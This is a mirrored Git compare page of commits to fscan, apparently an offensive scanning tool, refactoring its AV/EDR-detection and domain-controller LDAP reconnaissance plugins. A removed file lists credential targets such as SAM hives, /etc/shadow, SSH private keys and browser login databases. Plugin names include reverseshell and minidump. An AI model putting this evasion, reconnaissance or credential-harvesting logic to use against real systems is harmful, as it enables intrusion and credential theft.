mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
Compare commits
2 Commits
1cfb21ed64
...
50247ee1e4
Author | SHA1 | Date | |
---|---|---|---|
![]() |
50247ee1e4 | ||
![]() |
a86098d6b6 |
@ -374,12 +374,12 @@ func checkParameterConflicts() {
|
||||
if LocalMode {
|
||||
if LocalPlugin == "" {
|
||||
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
||||
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
|
||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 验证本地插件名称
|
||||
validPlugins := []string{"fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "avdetect"}
|
||||
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy"} // 已重构的插件
|
||||
isValid := false
|
||||
for _, valid := range validPlugins {
|
||||
if LocalPlugin == valid {
|
||||
@ -390,7 +390,7 @@ func checkParameterConflicts() {
|
||||
|
||||
if !isValid {
|
||||
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
||||
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
|
||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
@ -22,26 +22,10 @@ import (
|
||||
//go:embed auto.json
|
||||
var embeddedAVDatabase []byte
|
||||
|
||||
// AVDetectPlugin AV/EDR检测插件
|
||||
// AVDetectPlugin AV/EDR检测插件 - 使用简化架构
|
||||
type AVDetectPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
connector *AVDetectConnector
|
||||
|
||||
// AV/EDR数据库
|
||||
avDatabase map[string]AVProduct
|
||||
configPath string
|
||||
}
|
||||
|
||||
// AVDetectConnector AV/EDR检测连接器
|
||||
type AVDetectConnector struct {
|
||||
*local.BaseLocalConnector
|
||||
}
|
||||
|
||||
// AVDetectConnection AV/EDR检测连接对象
|
||||
type AVDetectConnection struct {
|
||||
*local.LocalConnection
|
||||
RunningProcesses []ProcessInfo
|
||||
SystemInfo map[string]string
|
||||
}
|
||||
|
||||
// AVProduct AV/EDR产品信息
|
||||
@ -69,75 +53,44 @@ type DetectionResult struct {
|
||||
Category string `json:"category"`
|
||||
}
|
||||
|
||||
// NewAVDetectPlugin 创建AV/EDR检测插件
|
||||
// NewAVDetectPlugin 创建AV/EDR检测插件 - 简化版本
|
||||
func NewAVDetectPlugin() *AVDetectPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "avdetect",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "自动化AV/EDR检测插件,基于auto.json规则库识别安全软件",
|
||||
Description: "自动化AV/EDR检测插件,基于嵌入式规则库识别安全软件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "av", "edr", "detection", "security"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
connector := NewAVDetectConnector()
|
||||
plugin := &AVDetectPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||
connector: connector,
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
avDatabase: make(map[string]AVProduct),
|
||||
configPath: "auto.json", // 默认配置文件路径
|
||||
}
|
||||
|
||||
// 设置支持的平台
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 设置支持的平台 (仅Windows)
|
||||
plugin.SetPlatformSupport([]string{"windows"})
|
||||
// 不需要特殊权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// NewAVDetectConnector 创建AV/EDR检测连接器
|
||||
func NewAVDetectConnector() *AVDetectConnector {
|
||||
baseConnector, _ := local.NewBaseLocalConnector()
|
||||
|
||||
return &AVDetectConnector{
|
||||
BaseLocalConnector: baseConnector,
|
||||
}
|
||||
// Initialize 初始化插件
|
||||
func (p *AVDetectPlugin) Initialize() error {
|
||||
// 先调用基类初始化
|
||||
if err := p.BaseLocalPlugin.Initialize(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Connect 建立AV/EDR检测连接
|
||||
func (c *AVDetectConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||
// 先建立基础本地连接
|
||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
baseConn := localConn.(*local.LocalConnection)
|
||||
|
||||
// 获取系统进程信息
|
||||
processes, err := c.getRunningProcesses()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("获取进程列表失败: %v", err)
|
||||
}
|
||||
|
||||
avDetectConn := &AVDetectConnection{
|
||||
LocalConnection: baseConn,
|
||||
RunningProcesses: processes,
|
||||
SystemInfo: baseConn.SystemInfo,
|
||||
}
|
||||
|
||||
return avDetectConn, nil
|
||||
}
|
||||
|
||||
// Close 关闭AV/EDR检测连接
|
||||
func (c *AVDetectConnector) Close(conn interface{}) error {
|
||||
return c.BaseLocalConnector.Close(conn)
|
||||
// 加载AV数据库
|
||||
return p.loadAVDatabase()
|
||||
}
|
||||
|
||||
// getRunningProcesses 获取运行中的进程列表
|
||||
func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
|
||||
func (p *AVDetectPlugin) getRunningProcesses() ([]ProcessInfo, error) {
|
||||
var processes []ProcessInfo
|
||||
var cmd *exec.Cmd
|
||||
|
||||
@ -158,7 +111,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
|
||||
}
|
||||
|
||||
// 解析命令输出
|
||||
processes, err = c.parseProcessOutput(string(output))
|
||||
processes, err = p.parseProcessOutput(string(output))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("解析进程信息失败: %v", err)
|
||||
}
|
||||
@ -167,7 +120,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
|
||||
}
|
||||
|
||||
// parseProcessOutput 解析进程命令输出
|
||||
func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, error) {
|
||||
func (p *AVDetectPlugin) parseProcessOutput(output string) ([]ProcessInfo, error) {
|
||||
var processes []ProcessInfo
|
||||
scanner := bufio.NewScanner(strings.NewReader(output))
|
||||
|
||||
@ -185,7 +138,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er
|
||||
}
|
||||
|
||||
// 解析PowerShell CSV格式:Name,Id,ProcessName
|
||||
fields := c.parseCSVLine(line)
|
||||
fields := p.parseCSVLine(line)
|
||||
if len(fields) >= 3 {
|
||||
processName := strings.Trim(fields[0], "\"")
|
||||
// 如果进程名不包含.exe,则添加
|
||||
@ -231,7 +184,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er
|
||||
}
|
||||
|
||||
// parseCSVLine 解析CSV行,处理引号内的逗号
|
||||
func (c *AVDetectConnector) parseCSVLine(line string) []string {
|
||||
func (p *AVDetectPlugin) parseCSVLine(line string) []string {
|
||||
var fields []string
|
||||
var current strings.Builder
|
||||
inQuotes := false
|
||||
@ -266,49 +219,58 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行AV/EDR检测扫描
|
||||
// ScanLocal 执行AV/EDR检测扫描 - 简化版本
|
||||
func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始AV/EDR安全软件检测...")
|
||||
common.LogInfo("开始AV/EDR安全软件检测...")
|
||||
|
||||
// 加载AV数据库
|
||||
err := p.loadAVDatabase()
|
||||
// 获取运行进程
|
||||
processes, err := p.getRunningProcesses()
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("加载AV数据库失败: %v", err))
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
common.LogError(fmt.Sprintf("获取进程列表失败: %v", err))
|
||||
// 不返回错误,继续执行但结果可能不完整
|
||||
processes = []ProcessInfo{}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("成功加载 %d 个安全产品规则", len(p.avDatabase)))
|
||||
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(processes)))
|
||||
|
||||
// 建立连接
|
||||
conn, err := p.connector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
defer p.connector.Close(conn)
|
||||
// 检测AV/EDR产品
|
||||
detectionResults := p.detectAVEDR(processes)
|
||||
|
||||
avDetectConn := conn.(*AVDetectConnection)
|
||||
|
||||
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(avDetectConn.RunningProcesses)))
|
||||
|
||||
// 执行AV/EDR检测
|
||||
detectionResults := p.detectAVEDR(avDetectConn.RunningProcesses)
|
||||
// 获取系统信息
|
||||
systemInfo := p.GetSystemInfo()
|
||||
|
||||
// 生成检测报告
|
||||
report := p.generateDetectionReport(detectionResults, avDetectConn.SystemInfo)
|
||||
report := p.generateDetectionReport(detectionResults, systemInfo)
|
||||
|
||||
if len(detectionResults) == 0 {
|
||||
common.LogInfo("未检测到已知的AV/EDR安全产品")
|
||||
return &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "AVDetect",
|
||||
Banner: "未检测到已知的AV/EDR安全产品",
|
||||
Extra: map[string]interface{}{
|
||||
"detected_products": detectionResults,
|
||||
"total_processes": len(processes),
|
||||
"detection_report": report,
|
||||
"platform": runtime.GOOS,
|
||||
"database_products": len(p.avDatabase),
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 输出检测结果
|
||||
common.LogInfo(fmt.Sprintf("[+] AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults)))
|
||||
for _, result := range detectionResults {
|
||||
common.LogInfo(fmt.Sprintf("[+] 检测到: %s (%d个进程)", result.ProductName, len(result.DetectedProcesses)))
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: len(detectionResults) >= 0, // 即使没有检测到也算成功
|
||||
Success: true,
|
||||
Service: "AVDetect",
|
||||
Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)),
|
||||
Extra: map[string]interface{}{
|
||||
"detected_products": detectionResults,
|
||||
"total_processes": len(avDetectConn.RunningProcesses),
|
||||
"total_processes": len(processes),
|
||||
"detection_report": report,
|
||||
"platform": runtime.GOOS,
|
||||
"database_products": len(p.avDatabase),
|
||||
|
@ -1,163 +0,0 @@
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"path/filepath"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// BaseLocalConnector 基础本地连接器实现
|
||||
type BaseLocalConnector struct {
|
||||
workingDir string
|
||||
homeDir string
|
||||
systemInfo map[string]string
|
||||
}
|
||||
|
||||
// LocalConnection 本地连接对象
|
||||
type LocalConnection struct {
|
||||
WorkingDir string
|
||||
HomeDir string
|
||||
SystemInfo map[string]string
|
||||
TempDir string
|
||||
}
|
||||
|
||||
// NewBaseLocalConnector 创建基础本地连接器
|
||||
func NewBaseLocalConnector() (*BaseLocalConnector, error) {
|
||||
homeDir, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
workingDir, err := os.Getwd()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &BaseLocalConnector{
|
||||
workingDir: workingDir,
|
||||
homeDir: homeDir,
|
||||
systemInfo: make(map[string]string),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Connect 建立本地连接
|
||||
func (c *BaseLocalConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||
// 初始化系统信息
|
||||
c.initSystemInfo()
|
||||
|
||||
tempDir := os.TempDir()
|
||||
|
||||
conn := &LocalConnection{
|
||||
WorkingDir: c.workingDir,
|
||||
HomeDir: c.homeDir,
|
||||
SystemInfo: c.systemInfo,
|
||||
TempDir: tempDir,
|
||||
}
|
||||
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// Close 关闭连接
|
||||
func (c *BaseLocalConnector) Close(conn interface{}) error {
|
||||
// 本地连接无需特殊关闭操作
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetSystemInfo 获取系统信息
|
||||
func (c *BaseLocalConnector) GetSystemInfo(conn interface{}) (map[string]string, error) {
|
||||
localConn, ok := conn.(*LocalConnection)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("无效的连接类型")
|
||||
}
|
||||
|
||||
return localConn.SystemInfo, nil
|
||||
}
|
||||
|
||||
// initSystemInfo 初始化系统信息
|
||||
func (c *BaseLocalConnector) initSystemInfo() {
|
||||
c.systemInfo["os"] = runtime.GOOS
|
||||
c.systemInfo["arch"] = runtime.GOARCH
|
||||
c.systemInfo["home_dir"] = c.homeDir
|
||||
c.systemInfo["working_dir"] = c.workingDir
|
||||
c.systemInfo["temp_dir"] = os.TempDir()
|
||||
|
||||
// 获取用户名
|
||||
if username := os.Getenv("USER"); username != "" {
|
||||
c.systemInfo["username"] = username
|
||||
} else if username := os.Getenv("USERNAME"); username != "" {
|
||||
c.systemInfo["username"] = username
|
||||
}
|
||||
|
||||
// 获取主机名
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
c.systemInfo["hostname"] = hostname
|
||||
}
|
||||
}
|
||||
|
||||
// GetCommonDirectories 获取常见目录路径
|
||||
func (c *BaseLocalConnector) GetCommonDirectories() []string {
|
||||
var dirs []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
dirs = []string{
|
||||
c.homeDir,
|
||||
filepath.Join(c.homeDir, "Desktop"),
|
||||
filepath.Join(c.homeDir, "Documents"),
|
||||
filepath.Join(c.homeDir, "Downloads"),
|
||||
"C:\\Users\\Public\\Documents",
|
||||
"C:\\Users\\Public\\Desktop",
|
||||
"C:\\Program Files",
|
||||
"C:\\Program Files (x86)",
|
||||
}
|
||||
case "linux", "darwin":
|
||||
dirs = []string{
|
||||
c.homeDir,
|
||||
filepath.Join(c.homeDir, "Desktop"),
|
||||
filepath.Join(c.homeDir, "Documents"),
|
||||
filepath.Join(c.homeDir, "Downloads"),
|
||||
"/opt",
|
||||
"/usr/local",
|
||||
"/var/www",
|
||||
"/var/log",
|
||||
}
|
||||
}
|
||||
|
||||
return dirs
|
||||
}
|
||||
|
||||
// GetSensitiveFiles 获取敏感文件路径
|
||||
func (c *BaseLocalConnector) GetSensitiveFiles() []string {
|
||||
var files []string
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
files = []string{
|
||||
"C:\\boot.ini",
|
||||
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
|
||||
"C:\\windows\\repair\\sam",
|
||||
"C:\\windows\\system32\\config\\sam",
|
||||
filepath.Join(c.homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(c.homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(c.homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||
}
|
||||
case "linux", "darwin":
|
||||
files = []string{
|
||||
"/etc/passwd",
|
||||
"/etc/shadow",
|
||||
"/etc/hosts",
|
||||
"/etc/ssh/ssh_config",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/root/.ssh/authorized_keys",
|
||||
"/root/.bash_history",
|
||||
filepath.Join(c.homeDir, ".ssh/id_rsa"),
|
||||
filepath.Join(c.homeDir, ".ssh/authorized_keys"),
|
||||
filepath.Join(c.homeDir, ".bash_history"),
|
||||
}
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
@ -15,28 +15,19 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DCInfoPlugin 域控信息收集插件
|
||||
// DCInfoPlugin 域控信息收集插件 - 使用简化架构
|
||||
type DCInfoPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
connector *DCInfoConnector
|
||||
}
|
||||
|
||||
// DCInfoConnector 域控信息连接器
|
||||
type DCInfoConnector struct {
|
||||
*local.BaseLocalConnector
|
||||
conn *ldap.Conn
|
||||
baseDN string
|
||||
}
|
||||
|
||||
// DomainConnection 域连接对象
|
||||
type DomainConnection struct {
|
||||
*local.LocalConnection
|
||||
LDAPConn *ldap.Conn
|
||||
BaseDN string
|
||||
// DomainInfo 域信息结构
|
||||
type DomainInfo struct {
|
||||
Domain string
|
||||
BaseDN string
|
||||
LDAPConn *ldap.Conn
|
||||
}
|
||||
|
||||
// NewDCInfoPlugin 创建域控信息收集插件
|
||||
// NewDCInfoPlugin 创建域控信息收集插件 - 简化版本
|
||||
func NewDCInfoPlugin() *DCInfoPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "dcinfo",
|
||||
@ -48,16 +39,14 @@ func NewDCInfoPlugin() *DCInfoPlugin {
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
connector := NewDCInfoConnector()
|
||||
plugin := &DCInfoPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||
connector: connector,
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
}
|
||||
|
||||
// 仅支持Windows平台
|
||||
plugin.SetPlatformSupport([]string{"windows"})
|
||||
// 需要域环境权限
|
||||
plugin.SetRequiresPrivileges(false) // 使用当前用户凭据
|
||||
// 不需要特殊权限,使用当前用户凭据
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
return plugin
|
||||
}
|
||||
@ -67,69 +56,39 @@ func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.S
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// NewDCInfoConnector 创建域控信息连接器
|
||||
func NewDCInfoConnector() *DCInfoConnector {
|
||||
baseConnector, _ := local.NewBaseLocalConnector()
|
||||
|
||||
return &DCInfoConnector{
|
||||
BaseLocalConnector: baseConnector,
|
||||
}
|
||||
}
|
||||
|
||||
// Connect 建立域控连接
|
||||
func (c *DCInfoConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||
// 先建立基础本地连接
|
||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
baseConn := localConn.(*local.LocalConnection)
|
||||
|
||||
// connectToDomain 连接到域控制器 - 简化版本
|
||||
func (p *DCInfoPlugin) connectToDomain() (*DomainInfo, error) {
|
||||
// 获取域控制器地址
|
||||
dcHost, domain, err := c.getDomainController()
|
||||
dcHost, domain, err := p.getDomainController()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("获取域控制器失败: %v", err)
|
||||
}
|
||||
|
||||
// 建立LDAP连接
|
||||
ldapConn, baseDN, err := c.connectToLDAP(dcHost, domain)
|
||||
ldapConn, baseDN, err := p.connectToLDAP(dcHost, domain)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("LDAP连接失败: %v", err)
|
||||
}
|
||||
|
||||
domainConn := &DomainConnection{
|
||||
LocalConnection: baseConn,
|
||||
LDAPConn: ldapConn,
|
||||
BaseDN: baseDN,
|
||||
return &DomainInfo{
|
||||
Domain: domain,
|
||||
}
|
||||
|
||||
return domainConn, nil
|
||||
}
|
||||
|
||||
// Close 关闭域控连接
|
||||
func (c *DCInfoConnector) Close(conn interface{}) error {
|
||||
if domainConn, ok := conn.(*DomainConnection); ok {
|
||||
if domainConn.LDAPConn != nil {
|
||||
domainConn.LDAPConn.Close()
|
||||
}
|
||||
}
|
||||
return c.BaseLocalConnector.Close(conn)
|
||||
BaseDN: baseDN,
|
||||
LDAPConn: ldapConn,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// getDomainController 获取域控制器地址
|
||||
func (c *DCInfoConnector) getDomainController() (string, string, error) {
|
||||
func (p *DCInfoPlugin) getDomainController() (string, string, error) {
|
||||
common.LogDebug("开始查询域控制器地址...")
|
||||
|
||||
// 方法1: 尝试使用PowerShell获取域名
|
||||
domain, err := c.getDomainNamePowerShell()
|
||||
domain, err := p.getDomainNamePowerShell()
|
||||
if err != nil {
|
||||
// 方法2: 尝试使用wmic(如果可用)
|
||||
domain, err = c.getDomainNameWmic()
|
||||
domain, err = p.getDomainNameWmic()
|
||||
if err != nil {
|
||||
// 方法3: 尝试使用环境变量
|
||||
domain, err = c.getDomainNameFromEnv()
|
||||
domain, err = p.getDomainNameFromEnv()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("获取域名失败: %v", err)
|
||||
}
|
||||
@ -143,7 +102,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) {
|
||||
common.LogDebug(fmt.Sprintf("获取到域名: %s", domain))
|
||||
|
||||
// 查询域控制器
|
||||
dcHost, err := c.findDomainController(domain)
|
||||
dcHost, err := p.findDomainController(domain)
|
||||
if err != nil {
|
||||
// 备选方案:使用域名直接构造
|
||||
dcHost = fmt.Sprintf("dc.%s", domain)
|
||||
@ -154,7 +113,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) {
|
||||
}
|
||||
|
||||
// getDomainNamePowerShell 使用PowerShell获取域名
|
||||
func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) {
|
||||
func (p *DCInfoPlugin) getDomainNamePowerShell() (string, error) {
|
||||
cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
@ -170,7 +129,7 @@ func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) {
|
||||
}
|
||||
|
||||
// getDomainNameWmic 使用wmic获取域名
|
||||
func (c *DCInfoConnector) getDomainNameWmic() (string, error) {
|
||||
func (p *DCInfoPlugin) getDomainNameWmic() (string, error) {
|
||||
cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
@ -191,7 +150,7 @@ func (c *DCInfoConnector) getDomainNameWmic() (string, error) {
|
||||
}
|
||||
|
||||
// getDomainNameFromEnv 从环境变量获取域名
|
||||
func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) {
|
||||
func (p *DCInfoPlugin) getDomainNameFromEnv() (string, error) {
|
||||
// 尝试从环境变量获取
|
||||
cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%")
|
||||
output, err := cmd.Output()
|
||||
@ -208,7 +167,7 @@ func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) {
|
||||
}
|
||||
|
||||
// findDomainController 查找域控制器
|
||||
func (c *DCInfoConnector) findDomainController(domain string) (string, error) {
|
||||
func (p *DCInfoPlugin) findDomainController(domain string) (string, error) {
|
||||
// 方法1: 使用nslookup查询SRV记录
|
||||
cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain))
|
||||
output, err := cmd.Output()
|
||||
@ -241,7 +200,7 @@ func (c *DCInfoConnector) findDomainController(domain string) (string, error) {
|
||||
}
|
||||
|
||||
// connectToLDAP 连接到LDAP服务器
|
||||
func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
|
||||
func (p *DCInfoPlugin) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
|
||||
common.LogDebug(fmt.Sprintf("尝试连接到LDAP服务器: %s", dcHost))
|
||||
|
||||
// 创建SSPI客户端
|
||||
@ -264,7 +223,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
|
||||
|
||||
// 方法2: 尝试使用IPv4地址
|
||||
common.LogDebug("方法2: 解析IPv4地址")
|
||||
ipv4, err := c.resolveIPv4(dcHost)
|
||||
ipv4, err := p.resolveIPv4(dcHost)
|
||||
if err == nil {
|
||||
common.LogDebug(fmt.Sprintf("解析到IPv4地址: %s", ipv4))
|
||||
conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4))
|
||||
@ -296,7 +255,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
|
||||
|
||||
// 获取BaseDN
|
||||
common.LogDebug("获取BaseDN...")
|
||||
baseDN, err := c.getBaseDN(conn, domain)
|
||||
baseDN, err := p.getBaseDN(conn, domain)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, "", err
|
||||
@ -307,7 +266,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
|
||||
}
|
||||
|
||||
// getBaseDN 获取BaseDN
|
||||
func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
|
||||
func (p *DCInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
"",
|
||||
ldap.ScopeBaseObject,
|
||||
@ -342,7 +301,7 @@ func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, err
|
||||
}
|
||||
|
||||
// resolveIPv4 解析主机名为IPv4地址
|
||||
func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) {
|
||||
func (p *DCInfoPlugin) resolveIPv4(hostname string) (string, error) {
|
||||
ips, err := net.LookupIP(hostname)
|
||||
if err != nil {
|
||||
return "", err
|
||||
@ -358,12 +317,12 @@ func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) {
|
||||
return "", fmt.Errorf("未找到IPv4地址")
|
||||
}
|
||||
|
||||
// ScanLocal 执行域控信息扫描
|
||||
// ScanLocal 执行域控信息扫描 - 简化版本
|
||||
func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始域控制器信息收集...")
|
||||
common.LogInfo("开始域控制器信息收集...")
|
||||
|
||||
// 建立域控连接
|
||||
conn, err := p.connector.Connect(ctx, info)
|
||||
domainConn, err := p.connectToDomain()
|
||||
if err != nil {
|
||||
// 提供更友好的错误信息
|
||||
if strings.Contains(err.Error(), "未加入域") || strings.Contains(err.Error(), "WORKGROUP") {
|
||||
@ -379,9 +338,11 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
|
||||
Error: fmt.Errorf("域控连接失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
defer p.connector.Close(conn)
|
||||
|
||||
domainConn := conn.(*DomainConnection)
|
||||
defer func() {
|
||||
if domainConn.LDAPConn != nil {
|
||||
domainConn.LDAPConn.Close()
|
||||
}
|
||||
}()
|
||||
|
||||
// 收集域信息
|
||||
domainData := make(map[string]interface{})
|
||||
@ -442,11 +403,17 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
|
||||
common.LogError(fmt.Sprintf("获取组织单位失败: %v", err))
|
||||
}
|
||||
|
||||
// 获取系统信息
|
||||
systemInfo := p.GetSystemInfo()
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: len(domainData) > 0,
|
||||
Service: "DCInfo",
|
||||
Banner: fmt.Sprintf("域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN),
|
||||
Extra: domainData,
|
||||
Banner: fmt.Sprintf("检测完成: 域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN),
|
||||
Extra: map[string]interface{}{
|
||||
"domain_data": domainData,
|
||||
"system_info": systemInfo,
|
||||
},
|
||||
}
|
||||
|
||||
common.LogSuccess("域控制器信息收集完成")
|
||||
@ -454,7 +421,7 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
|
||||
}
|
||||
|
||||
// getDomainInfo 获取域基本信息
|
||||
func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interface{}, error) {
|
||||
func (p *DCInfoPlugin) getDomainInfo(conn *DomainInfo) (map[string]interface{}, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeBaseObject,
|
||||
@ -487,7 +454,7 @@ func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interfa
|
||||
}
|
||||
|
||||
// getDomainControllers 获取域控制器详细信息
|
||||
func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[string]interface{}, error) {
|
||||
func (p *DCInfoPlugin) getDomainControllers(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
dcQuery := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
@ -520,7 +487,7 @@ func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[strin
|
||||
}
|
||||
|
||||
// getDomainUsersDetailed 获取域用户详细信息
|
||||
func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
|
||||
func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
